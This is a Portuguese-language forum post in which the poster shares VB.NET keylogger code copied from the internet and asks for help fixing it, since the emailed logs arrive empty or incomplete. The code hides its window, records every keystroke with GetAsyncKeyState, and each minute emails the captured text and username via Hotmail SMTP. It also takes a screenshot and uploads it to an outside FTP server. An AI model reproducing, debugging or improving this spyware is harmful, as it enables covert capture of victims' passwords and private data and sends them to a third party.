Peguei esse código na net. O programa envia somente algumas letras ou o email chega vazio, já olhei e não encontrei erro. Se alguém puder ajudar agradeço.
No form tem um textbox e dois timers comas seguintes características.
No form tem um textbox e dois timers comas seguintes características.
Código:
Textbox: multiline. Timer 1: Enable; interval=1 Timer 2: Enable; interval= 60000 Imports System.Net.Mail Public Class Form1 Dim key As Short Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Short Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load Me.hide() End Sub Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick For i = 1 To 255 key = 0 key = GetAsyncKeyState(i) If key = -32767 Then TextBox1.Text = TextBox1.Text + Chr(i) End If Next i End Sub Private Sub Timer2_Tick(sender As System.Object, e As System.EventArgs) Handles Timer2.Tick Dim Mail As New MailMessage Mail.Subject = "Keylogger" & System.Environment.UserName Mail.To.Add("email de destino@hotmail.com") Mail.From = New MailAddress("keylloger@hotmail.com") Mail.Body = TextBox1.Text Dim SMTP As New SmtpClient("smtp.live.com") SMTP.EnableSsl = True SMTP.Credentials = New System.Net.NetworkCredential("seuemail@hotmail.com", "suasenha") ' para poder entrar em seu e-mail e mandar os dados para o outro e-mail SMTP.Port = "587" SMTP.Send(Mail) TextBox1.Text = "" TextBox1.Text = TimeOfDay SendKeys.SendWait("^({PRTSC})") My.Computer.Clipboard.GetImage.Save("C:form.jpg") My.Computer.Network.UploadFile("C:form.jpg", "ftp://ftp.xpg.com.br/files/" & "form.jpg", "***", "****", False, 500) End Sub End Class
Comment